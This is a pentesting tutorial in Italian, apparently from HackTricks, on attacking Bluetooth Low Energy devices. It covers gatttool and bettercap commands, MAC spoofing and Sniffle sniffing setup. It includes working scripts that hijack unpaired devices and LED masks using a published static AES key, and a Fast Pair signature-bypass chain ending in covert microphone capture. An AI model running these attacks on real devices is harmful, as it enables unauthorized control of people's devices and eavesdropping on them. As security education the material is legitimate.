Pentesting BLE - Bluetooth Low Energy

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Introduzione

Disponibile dalla specifica Bluetooth 4.0, BLE utilizza solo 40 canali, coprendo l’intervallo da 2400 a 2483.5 MHz. In confronto, il Bluetooth tradizionale usa 79 canali nello stesso intervallo.

I dispositivi BLE comunicano inviando pacchetti di advertising (beacons); questi pacchetti trasmettono l’esistenza del dispositivo BLE ad altri dispositivi nelle vicinanze. Questi beacons a volte inviano dati, inoltre.

Il dispositivo che ascolta, chiamato anche dispositivo centrale, può rispondere a un pacchetto di advertising con una SCAN request inviata specificamente al dispositivo che sta facendo advertising. La risposta a quella scan usa la stessa struttura del pacchetto di advertising con informazioni aggiuntive che non potevano essere inserite nella richiesta di advertising iniziale, come il nome completo del dispositivo.

Il byte di preambolo sincronizza la frequenza, mentre l’address di accesso di quattro byte è un identificatore di connessione, usato negli scenari in cui più dispositivi cercano di stabilire connessioni sugli stessi canali. Successivamente, la Protocol Data Unit (PDU) contiene i dati di advertising. Esistono diversi tipi di PDU; i più comunemente usati sono ADV_NONCONN_IND e ADV_IND. I dispositivi usano il tipo di PDU ADV_NONCONN_IND se non accettano connessioni, trasmettendo dati solo nel pacchetto di advertising. I dispositivi usano ADV_IND se consentono connessioni e smettono di inviare pacchetti di advertising una volta che una connessione è stata stabilita.

GATT

Il Generic Attribute Profile (GATT) definisce come il dispositivo dovrebbe formattare e trasferire i dati. Quando analizzi la superficie d’attacco di un dispositivo BLE, spesso ti concentrerai sul GATT (o GATTs), perché è il modo in cui la funzionalità del dispositivo viene attivata e come i dati vengono memorizzati, raggruppati e modificati. Il GATT elenca le caratteristiche, i descrittori e i servizi di un dispositivo in una tabella come valori a 16 o 32 bit. Una caratteristica è un valore di dati inviato tra il dispositivo centrale e la periferica. Queste caratteristiche possono avere descrittori che forniscono informazioni aggiuntive su di esse. Le caratteristiche sono spesso raggruppate in servizi se sono correlate all’esecuzione di una particolare azione.

Enumerazione

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool permette di stabilire una connessione con un altro dispositivo, elencando le caratteristiche di quel dispositivo e leggendo e scrivendo i suoi attributi.
GATTTool può avviare una shell interattiva con l’opzione -I:

Uso interattivo ed esempi di GATTTool ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Sniffing and actively controlling unpaired BLE devices

Molti periferici BLE a basso costo non applicano pairing/bonding. Senza bonding, la cifratura del Link Layer non viene mai attivata, quindi il traffico ATT/GATT è in chiaro. Un off-path sniffer può seguire la connessione, decodificare le operazioni GATT per ottenere gli handles e i valori delle characteristic, e qualsiasi host nelle vicinanze può quindi connettersi e riprodurre quelle scritture per controllare il dispositivo.

Sniffing with Sniffle (CC26x2/CC1352)

Hardware: un Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) riflashato con il firmware Sniffle di NCC Group.

Installa Sniffle e il suo Wireshark extcap su Linux:

Install Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flash Sonoff con Sniffle firmware (assicurati che il tuo dispositivo seriale corrisponda, es. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Cattura in Wireshark tramite lo Sniffle extcap e passa rapidamente a state-changing writes filtrando:

_ws.col.info contains "Sent Write Command"

Questo evidenzia gli ATT Write Commands dal client; l’handle e il valore spesso corrispondono direttamente ad azioni del dispositivo (p.es., scrivere 0x01 su una caratteristica buzzer/alert, 0x00 per fermare).

Esempi rapidi di Sniffle CLI:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternative sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin funziona anch’esso. Su dongle Nordic piccoli/economici normalmente si sovrascrive il bootloader USB per caricare il firmware dello sniffer, quindi devi o conservare un dongle sniffer dedicato o avere un J-Link/JTAG per ripristinare il bootloader in seguito.

Controllo attivo via GATT

Una volta identificato un handle di characteristic scrivibile e il valore dal traffico sniffato, connettiti come qualunque central e invia la stessa scrittura:

  • Con Nordic nRF Connect for Desktop (BLE app):

  • Seleziona il dongle nRF52/nRF52840, esegui la scansione e connettiti al target.

  • Esplora il database GATT, individua la characteristic target (spesso ha un nome amichevole, p.es., Alert Level).

  • Esegui una Write con i byte sniffati (es., 01 per attivare, 00 per fermare).

  • Automatizza su Windows con un dongle Nordic usando Python + blatann:

Esempio di write con Python + blatann (Windows + dongle Nordic) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Caso di studio: hijacking BLE LED masks (Shining Mask family)

Maschere LED BLE economiche e white‑labeled controllate dall'app “Shining Mask” accettano controlli di scrittura da qualunque central nelle vicinanze senza pairing/bonding. L'app parla GATT con una characteristic di comando e una characteristic dati; i comandi sono cifrati AES‑ECB con una chiave statica hard‑coded nell'app, mentre i dati bulk delle immagini non sono cifrati.

Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Scritture GATT non autenticate
- Nessun pairing/bonding richiesto. Qualsiasi host può connettersi e scrivere sull'UUID di comando per cambiare la luminosità, selezionare immagini, avviare animazioni, ecc.
- Operazioni comuni osservate: LIGHT (luminosità), IMAG (seleziona indice), DELE (elimina indici), SPEED, ANIM, PLAY, CHEC (richiedi conteggio), DATS (inizio caricamento).

Framing dei comandi AES a chiave statica
- Frame = lunghezza 1‑byte, op ASCII (e.g., b"LIGHT"), argomenti, pad a 16, cifrato AES‑ECB con la chiave statica presente nell'app.
- Chiave statica conosciuta (hex): 32672f7974ad43451d9c6c894a0e8764

Script Python di supporto per cifrare e inviare un comando (esempio: impostare la massima luminosità):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Flusso di upload dell’immagine

  • Dopo un handshake DATS cifrato, raw chunks vengono scritti non cifrati nella data characteristic …960a.
  • Formato pacchetto: [len][seq][payload]. Empiricamente ~100 bytes di payload per pacchetto funzionano in modo affidabile.
Pseudo-codice minimo per l'upload dell'immagine ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **Scoperta:** Scansionare gli advertisement BLE per **service UUID 0xFE2C** (Google Fast Pair). I dispositivi in modalità di associazione tipicamente espongono un pairing badge; anche fuori dalla modalità di associazione il servizio Fast Pair può rispondere via GATT.
- **Sonda non invasiva (verifica dell'applicazione della firma):**
1. Connettersi via GATT al servizio Fast Pair e **leggere il Model ID**.
2. **Scrivere un valore Key-Based Pairing (KBP) senza firma**. Se il peripheral accetta la scrittura KBP non firmata, è suscettibile al signature-bypass (WhisperPair/CVE-2025-36911). Un rifiuto indica che è stato applicato un patch; i fallimenti possono essere inconcludenti se è già avvenuta l'associazione.
- **Pivot BLE → BR/EDR:** Inviare una **KBP Request** e parsare la **risposta crittata** per recuperare l'indirizzo **BR/EDR** del target. Usare una chiamata di bonding classico (es., Android **`createBond(<BR/EDR address>)`**) per completare l'associazione non autorizzata. Dove supportato, scrivere un **Account Key** persiste l'associazione.
- **Abuso del microfono post-bond:** Dopo il bonding, aprire **HFP** e avviare l'audio **SCO** per ottenere uno stream microfono live per ascolto/registrazione (es., salvando in M4A). Questa catena trasforma l'accettazione di una KBP non firmata in cattura audio remota senza consenso dell'utente.
- **Ricerca/rilevamento:** Cercare traffico Fast Pair GATT seguito immediatamente da tentativi di bonding classico verso l'indirizzo BR/EDR restituito nella KBP, e scritture KBP prive di firma. Forzare la validazione della firma su KBP e richiedere un pairing confermato dall'utente interrompe la catena.

## Note operative

- Preferire Sonoff+Sniffle su Linux per hopping robusto dei canali e per seguire le connessioni. Tenere uno sniffer Nordic di riserva come backup.
- Senza pairing/bonding, un attacker nelle vicinanze può osservare le scritture e replay/creare le proprie verso caratteristiche scrivibili non autenticate.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Impara e pratica il hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Impara e pratica il hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Impara e pratica il hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Supporta HackTricks</summary>
>
> - Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
> - **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
>
> </details>